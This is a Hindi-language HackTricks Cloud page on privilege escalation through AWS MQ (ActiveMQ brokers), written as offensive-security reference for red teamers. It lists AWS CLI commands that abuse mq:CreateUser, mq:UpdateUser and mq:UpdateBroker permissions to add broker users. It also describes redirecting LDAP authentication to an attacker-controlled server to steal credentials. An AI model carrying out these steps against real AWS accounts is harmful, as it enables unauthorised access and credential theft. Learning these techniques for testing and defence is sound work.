AWS - MQ Privesc

AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)

हैकट्रिक्स का समर्थन करें

• सदस्यता योजनाएं की जाँच करें!

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।

• हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके HackTricks और HackTricks Cloud github रेपो में।

MQ

MQ के बारे में अधिक जानकारी के लिए देखें:

AWS - MQ Enum

mq:ListBrokers, mq:CreateUser

इन अनुमतियों के साथ आप एक नए उपयोगकर्ता को एक ActimeMQ ब्रोकर में बना सकते हैं (यह RabbitMQ में काम नहीं करता):

```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` **संभावित प्रभाव:** ActiveMQ के माध्यम से संवेदनशील जानकारी तक पहुंच

mq:ListBrokers, mq:ListUsers, mq:UpdateUser

इन अनुमतियों के साथ आप एक नए उपयोगकर्ता को एक ActimeMQ ब्रोकर में बना सकते हैं (यह RabbitMQ में काम नहीं करता):

aws mq list-brokers
aws mq list-users --broker-id <value>
aws mq update-user --broker-id <value> --console-access --password <value> --username <value>

संभावित प्रभाव: ActiveMQ के माध्यम से संवेदनशील जानकारी तक पहुंच

mq:ListBrokers, mq:UpdateBroker

यदि एक ब्रोकर LDAP का उपयोग ActiveMQ के लिए अधिकृति के लिए कर रहा है। तो यह संभावना है कि LDAP सर्वर के विन्यास को बदला जा सकता है जिसे हमलावर द्वारा नियंत्रित किया जा सकता है। इस तरह हमलावर को LDAP के माध्यम से भेजे जा रहे सभी क्रेडेंशियल्स को चुरा सकता है।

aws mq list-brokers
aws mq update-broker --broker-id <value> --ldap-server-metadata=...

यदि आप किसी प्रकार से ActiveMQ द्वारा उपयोग किए गए मूल क्रेडेंशियल्स को खोज सकते हैं तो आप MitM कार्रवाई कर सकते हैं, क्रेडेंशियल्स चुरा सकते हैं, मूल सर्वर में उन्हें उपयोग कर सकते हैं, और प्रतिक्रिया भेज सकते हैं (शायद चोरी किए गए क्रेडेंशियल्स का पुनः उपयोग करके आप यह कर सकते हैं)।

संभावित प्रभाव: ActiveMQ क्रेडेंशियल्स चुराना